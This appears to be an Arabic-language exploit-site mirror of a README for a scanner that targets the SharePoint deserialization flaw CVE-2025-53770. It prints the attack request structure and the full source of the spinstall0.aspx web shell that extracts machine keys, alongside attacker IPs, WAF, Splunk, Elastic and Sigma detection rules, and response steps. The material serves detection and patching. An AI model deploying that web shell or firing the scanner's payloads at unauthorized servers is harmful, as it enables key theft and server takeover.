## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZEPHRFISH-CVE-2025-53770-SCANNER
# ماسح الثغرة الأمنية CVE-2025-53770 في SharePoint
مُجمّع بنسبة 100% من التغريدات المتداولة حول الحمولات والهجمات المختلفة، لذا يأتي بدون أي ضمان إلخ. صُمم الماسح لتحديد الحالات المعرّضة للخطر، ويحتوي على إعدادات للاستخدامات المعروفة للاستغلال في الهجمات الفعلية، وهو مصمم بشكل أساسي للاستخدام الدفاعي لتحديد الحالات المعرّضة للخطر وتمكينك من تصحيح الثغرات.
يقوم هذا الماسح بإجراء فحوصات آلية على نشرات SharePoint من خلال:
* إرسال طلبات POST مُعدّة بعناية إلى نقاط نهاية ToolPane في SharePoint مع حمولات استغلال
* كشف محاولات استخراج مفتاح الجهاز (machine key) والاستغلال الناجح
* تحديد نشر الحمولة الثانوية (spinstall0.aspx)
* تحليل الاستجابات بحثًا عن مؤشرات الثغرة بناءً على أنماط الهجوم المرصودة
* توفير تقارير مفصّلة بمستويات الثقة وتنبيهات الإجراء الفوري
* دعم الفحص المتزامن لتحقيق الكفاءة
## قدرات الكشف الرئيسية
### حرج: كشف استخراج مفتاح الجهاز
* يكشف استجابات استخراج مفتاح الجهاز الناجحة
* يحدد تعرّض ValidationKey وDecryptionKey وCompatibilityMode
* يتعرف على أنماط مفاتيح الجهاز المفصولة بالرمز | (ValidationKey|Validation|DecryptionKey|Decryption|CompatibilityMode)
* يطلق تنبيهات إجراء فوري للأنظمة المخترقة
### كشف الحمولة الثانوية
* يحدد محاولات نشر spinstall0.aspx
* يكتشف أنماط كود الحمولة C# ASP.NET
* يتعرف على استخدام System.Web.Configuration.MachineKeySection
* كشف المسار حسب الإصدار (`SP2013: WEBSER~1\15\ مقابل SP2016+: WEBSER~1\16\`)
## التثبيت
1. استنسخ المستودع:
root@kitploit:~
git clone https://github.com/ZephrFish/CVE-2025-53770-Scanner
cd CVE-2025-53770-Scanner
2. ثبّت التبعيات:
root@kitploit:~
pip install -r requirements.txt
## الاستخدام
### الاستخدام الأساسي
أنشئ ملفًا نصيًا يحتوي على المضيفات المستهدفة (مضيف واحد في كل سطر):
root@kitploit:~
sharepoint1.example.com
sharepoint2.example.net
internal-sp.company.local
شغّل الماسح:
root@kitploit:~
python3 scanner.py -i hosts.txt
python3 scanner.py -i hosts.txt -o results.json -l scan.log -t 20 -v
### خيارات سطر الأوامر
### صيغ الإخراج
#### إخراج JSON (`-o results.json`)
root@kitploit:~
[
{
"host": "sharepoint.example.com",
"url": "https://sharepoint.example.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx",
"scan_time": "2025-07-21T10:30:00.123456",
"vulnerable": true,
"status_code": 200,
"response_size": 15432,
"error": null,
"response_time": 1.23
}
]
#### إخراج CSV (`-o results.csv`)
يوفر بيانات جدولية مناسبة للتحليل في جداول البيانات، مع أعمدة لجميع مقاييس الفحص.
#### إخراج نصي (`-o results.txt`)
صيغة مقروءة للبشر تتضمن حالة الثغرة وتفاصيل الفحص.
## تفاصيل الثغرة الأمنية
تستهدف **CVE-2025-53770** ثغرة إلغاء تسلسل (deserialization) في مكوّن ExcelDataSet في SharePoint، والتي تم استغلالها بنشاط في الهجمات الواقعية. يكشف الماسح عن:
### أنماط الهجوم المحددة
1. **الاستغلال الأولي** : طلب POST إلى `/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx` مع حمولة متسلسلة (serialized)
2. **استخراج مفتاح الجهاز** : يعيد الاستغلال الناجح إعدادات الجهاز مفصولةً بالرمز |:
root@kitploit:~
ValidationKey|Validation|DecryptionKey|Decryption|CompatibilityMode
Example: [128-256 hex chars]|HMACSHA256|[48-96 hex chars]|AES|Framework45
3. **الحمولة الثانوية** : نشر `spinstall0.aspx` للوصول المستمر واستخراج المفاتيح
4. **استهداف الإصدارات** : مسارات مختلفة لإصدارات SharePoint (تخطيطات 15/ مقابل 16/)
### مؤشرات الاختراق المؤكدة من الاستغلال النشط
* **User-Agent** : `Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0`
* **Referer** : `/_layouts/SignOut.aspx`
* **Content-Length** : عادةً ما بين 7699-8000+ بايت
* **حجم الحمولة** : معاملات CompressedDataTable كبيرة مشفّرة بـ base64
* **مؤشرات الاستجابة** : سلاسل مفاتيح الجهاز، نشر spinstall0.aspx
* **البنية التحتية للهجوم** : 65.38.121.198, 162.243.204.189, 165.22.18.129
### منطق الكشف
يحلل الماسح الاستجابات بحثًا عن:
1. أنماط استخراج مفتاح الجهاز (ثقة حرجة)
2. مؤشرات الحمولة الثانوية (ثقة عالية)
3. معالجة مكوّن ExcelDataSet/Scorecard (ثقة متوسطة)
4. أنماط أخطاء ToolPane وخصائص الاستجابة الشاذة (ثقة منخفضة)
## الاعتبارات الأمنية
* هذه الأداة مصممة **لاختبار الأمان المصرح به فقط**
* تأكد من الحصول على التصريح المناسب قبل فحص أي أنظمة
* يستخدم الماسح HTTPS افتراضيًا لكنه يقبل الشهادات الموقعة ذاتيًا
* قد تحتوي السجلات على معلومات حساسة - قم بتأمينها بشكل مناسب
* ضع في اعتبارك تأثير الشبكة عند استخدام أعداد كبيرة من الخيوط
## مثال لجلسة الفحص
root@kitploit:~
$ python3 scanner.py -i corporate-sharepoint.txt -o vuln-results.json -l scan.log -v
Starting scan of 150 hosts with 10 threads...
Target CVE: CVE-2025-53770 (SharePoint ExcelDataSet deserialization)
Logging to: scan.log
Results will be saved to: vuln-results.json
[+] VULNERABLE [CRITICAL]: sp-prod-01.acme.local
[-] Not vulnerable: sp-dev-02.acme.local
[!] ERROR: offline-sp.acme.local - Connection timeout
[+] VULNERABLE [HIGH]: sp-legacy.acme.local
Progress: 50/150 (33.3%)
Progress: 100/150 (66.7%)
Progress: 150/150 (100.0%)
============================================================
SCAN COMPLETE
============================================================
Total hosts scanned: 150
Vulnerable hosts: 3
Success rate: 97.3%
VULNERABLE HOSTS (CVE-2025-53770):
CRITICAL - MACHINE KEY EXTRACTED (1 hosts):
• sp-prod-01.acme.local (Response time: 0.85s, Version: 2016+)
WARNING: IMMEDIATE ACTION REQUIRED: Machine keys compromised
HIGH CONFIDENCE (1 hosts):
• sp-legacy.acme.local (Response time: 1.23s, Version: 2013-2016)
LOW CONFIDENCE (1 hosts):
• sp-archive.acme.local (Response time: 2.10s, Version: Unknown)
Detailed results saved to: vuln-results.json
## استكشاف الأخطاء وإصلاحها
### المشكلات الشائعة
1. **انتهاء مهلة الاتصال** : قم بزيادة المهلة أو تقليل عدد الخيوط
2. **أخطاء SSL** : يعطّل الماسح تحذيرات SSL افتراضيًا
3. **أخطاء الأذونات** : تأكد من صلاحية الكتابة لملفات الإخراج/السجل
4. **استخدام الذاكرة** : راقبه عند استخدام قوائم مضيفات كبيرة
### تحليل السجلات
فعّل التسجيل التفصيلي (`-v`) وملفات السجل (`-l`) لاستكشاف الأخطاء التفصيلي:
root@kitploit:~
tail -f scan.log
## تحليل الاستغلال
### الحمولات الهجومية المرصودة
يتضمن الماسح كشفًا لأنماط الاستغلال المؤكدة التي رُصدت في الهجمات النشطة:
#### بنية الحمولة الأساسية
root@kitploit:~
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: target.domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close
MSOTlPn_Uri=http%3A%2F%2F{{host}}%2F_controltemplates%2F15%2FAclEditor.ascx
&MSOTlPn_DWP=[ExcelDataSet payload with CompressedDataTable containing serialized exploit]
#### الحمولة الثانوية (spinstall0.aspx)
root@kitploit:~
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}
</script>
#### صيغة استجابة مفتاح الجهاز المتوقعة
root@kitploit:~
ValidationKey: [128-256 character hex string]
Validation: HMACSHA256|HMACSHA1|SHA1
DecryptionKey: [48-96 character hex string]
Decryption: AES|DES|3DES
CompatibilityMode: Framework20SP1|Framework45|Framework40
## إرشادات الكشف والمراقبة
### كشف محاولات استغلال CVE-2025-53770
يجب على المؤسسات تنفيذ آليات الكشف التالية لتحديد محاولات الاستغلال المحتملة:
#### 1\. قواعد جدار حماية تطبيقات الويب (WAF)
راقب طلبات POST المشبوهة الموجهة إلى نقاط نهاية ToolPane في SharePoint:
root@kitploit:~
# Example WAF detection rule patterns
POST /_layouts/15/ToolPane.aspx*
POST /_layouts/*/ToolPane.aspx*
Query string: "DisplayMode=Edit&a=/ToolPane.aspx"
Request body containing: "MSOTlPn_Uri", "MSOTlPn_DWP"
Request body containing: "ExcelDataSet", "CompressedDataTable"
Request body containing: "Scorecard:ExcelDataSet"
Request body containing: "H4sIAAAAAAAEA" (gzip magic bytes in base64)
Content-Length > 5000 bytes (typical payload size)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0)
Referer: /_layouts/SignOut.aspx
**أنماط الاستغلال المرصودة:**
* أحجام الحمولة عادةً ما بين 7000-8000+ بايت
* بيانات مضغوطة مشفّرة بعناوين URL في معامل `CompressedDataTable`
* سلسلة User-Agent محددة: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0)
* Content-Type: application/x-www-form-urlencoded
* رأس Connection: close غالبًا ما يكون موجودًا
* كائنات .NET متسلسلة مشفّرة بـ base64 في الحمولة
* تحتوي الاستجابة على مفاتيح الجهاز بصيغة مفصولة بالرمز |
* طلبات ثانوية إلى ملفات spinstall0.aspx المنشورة
#### 2\. سجلات SharePoint ULS
راقب سجلات خدمة التسجيل الموحدة (ULS) في SharePoint بحثًا عن:
root@kitploit:~
Category: SharePoint Foundation Web Controls
Level: Unexpected, Error, Critical
Keywords: "ToolPane", "ExcelDataSet", "Deserialization"
Process: w3wp.exe
المؤشرات الرئيسية في سجلات ULS:
* استثناءات غير متوقعة في معالجة ToolPane.aspx
* أخطاء إلغاء التسلسل في مكونات Microsoft.PerformancePoint
* تلف الذاكرة أو تعطل العملية في w3wp.exe
#### 3\. سجلات وصول IIS
راقب سجلات IIS بحثًا عن أنماط الاستغلال:
root@kitploit:~
# Log analysis queries (replace with your SIEM syntax)
cs-method="POST" AND cs-uri-stem="/_layouts/15/ToolPane.aspx"
cs-method="POST" AND cs-uri-query="DisplayMode=Edit&a=/ToolPane.aspx"
cs-bytes > 7000 (typical exploit payload size)
cs(User-Agent)="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
cs(Referer)="/_layouts/SignOut.aspx"
sc-status=200 AND time-taken > 5000 (slow processing indicating deserialization)
**مؤشرات اختراق محددة من هجمات حقيقية:**
root@kitploit:~
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
Content-Length: 7699
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer: /_layouts/SignOut.aspx
Body contains: MSOTlPn_Uri=http%3A%2F%2F[domain]%2F_controltemplates%2F15%2FAclEditor.ascx
Body contains: CompressedDataTable%3D%22H4sIAAAAAAAEANVa23LbSJLt3stEzMzu0%2F6AQs%2B2BJCiu%2BWQ
#### 4\. تحليل حركة مرور الشبكة
راقب حركة مرور الشبكة بحثًا عن:
* أحجام طلبات POST غير معتادة إلى خوادم SharePoint
* طلبات متكررة إلى ToolPane.aspx من مصادر مفردة
* حمولات مشفّرة بـ base64 في أجسام طلبات HTTP POST
* سلاسل User-Agent غير الخاصة بالمتصفحات تستهدف SharePoint
#### 5\. سجلات أحداث Windows
راقب سجلات أحداث Windows على خوادم SharePoint:
root@kitploit:~
Event Log: Application
Source: ASP.NET, SharePoint Foundation
Event IDs: 1309, 1310 (application errors)
Event Log: System
Source: Application Error
Process: w3wp.exe crashes
#### 6\. قواعد كشف SIEM
##### استعلام كشف Splunk:
root@kitploit:~
index=iis source="*iis*"
| search cs_method="POST" cs_uri_stem="/_layouts/15/ToolPane.aspx" cs_uri_query="DisplayMode=Edit&a=/ToolPane.aspx"
| eval payload_size=tonumber(cs_bytes)
| where payload_size > 7000
| search cs_User_Agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
| stats count by src_ip, cs_uri_stem, payload_size
| sort -payload_size
##### كشف محسّن للهجمات الحقيقية:
root@kitploit:~
index=iis
| search cs_method="POST" AND cs_uri_stem="/_layouts/15/ToolPane.aspx"
| where cs_bytes > 7000 AND cs_bytes < 10000
| search cs_Referer="/_layouts/SignOut.aspx"
| eval attack_pattern=if(like(cs_User_Agent, "%Windows NT 10.0; Win64; x64; rv:120.0%"), "CVE-2025-53770", "Other")
| where attack_pattern="CVE-2025-53770"
| table _time, src_ip, cs_uri_query, cs_bytes, sc_status
##### استعلام Elastic/Kibana:
root@kitploit:~
{
"query": {
"bool": {
"must": [
{"term": {"http.request.method": "POST"}},
{"term": {"url.path": "/_layouts/15/ToolPane.aspx"}},
{"term": {"url.query": "DisplayMode=Edit&a=/ToolPane.aspx"}},
{"range": {"http.request.bytes": {"gte": 7000, "lte": 10000}}},
{"term": {"user_agent.original": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"}},
{"term": {"http.request.referrer": "/_layouts/SignOut.aspx"}}
]
}
}
}
##### قاعدة Sigma لـ CVE-2025-53770:
root@kitploit:~
title: CVE-2025-53770 SharePoint ExcelDataSet Exploitation
id: cve-2025-53770-sharepoint-exploit
description: Detects exploitation attempts of CVE-2025-53770 SharePoint deserialization vulnerability
references:
- https://github.com/your-repo/CVE-2025-53770-Scanner
author: Security Team
date: 2025/07/21
logsource:
category: webserver
product: iis
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/_layouts/15/ToolPane.aspx'
cs-uri-query: 'DisplayMode=Edit&a=/ToolPane.aspx'
cs-bytes:
- gte: 7000
- lte: 10000
cs-User-Agent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0'
cs-Referer: '/_layouts/SignOut.aspx'
condition: selection
falsepositives:
- Legitimate SharePoint administrative activities
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2025.53770
#### 7\. المؤشرات السلوكية
راقب هذه السلوكيات التي تلي الاستغلال:
* اتصالات شبكة صادرة غير معتادة من خوادم SharePoint
* حسابات مستخدمين جديدة تم إنشاؤها في SharePoint أو Active Directory
* رفع ملفات أو تعديلات غير مصرح بها
* محاولات تصعيد الامتيازات
* حركة جانبية إلى أنظمة أخرى
### إجراءات الاستجابة الموصى بها
1. **الاستجابة الفورية:**
* احظر عناوين IP المصدر المشبوهة في جدار الحماية/WAF
* اعزل خوادم SharePoint المتأثرة إذا تم تأكيد الاستغلال
* احتفظ بالسجلات ولقطات الذاكرة للتحليل الجنائي
2. **التحقيق:**
* حلل حمولات طلبات POST بحثًا عن محتوى خبيث
* تحقق من مؤشرات تنفيذ الكود بنجاح
* راجع أنشطة حسابات المستخدمين وتغييرات الصلاحيات
* اربطها بأحداث أمنية أخرى
3. **الاحتواء:**
* طبّق التصحيحات الأمنية فورًا
* نفّذ قواعد WAF لحظر محاولات الاستغلال
* افصل خوادم SharePoint عن موارد الشبكة الحرجة
### أمثلة تكامل SIEM
#### استيراد نتائج الفحص إلى Splunk:
root@kitploit:~
# Convert scan results for Splunk ingestion
python3 scanner.py -i hosts.txt -o results.json
# Import into Splunk index
curl -k -H "Authorization: Splunk <token>" -X POST \
"https://splunk-server:8088/services/collector" \
-d @results.json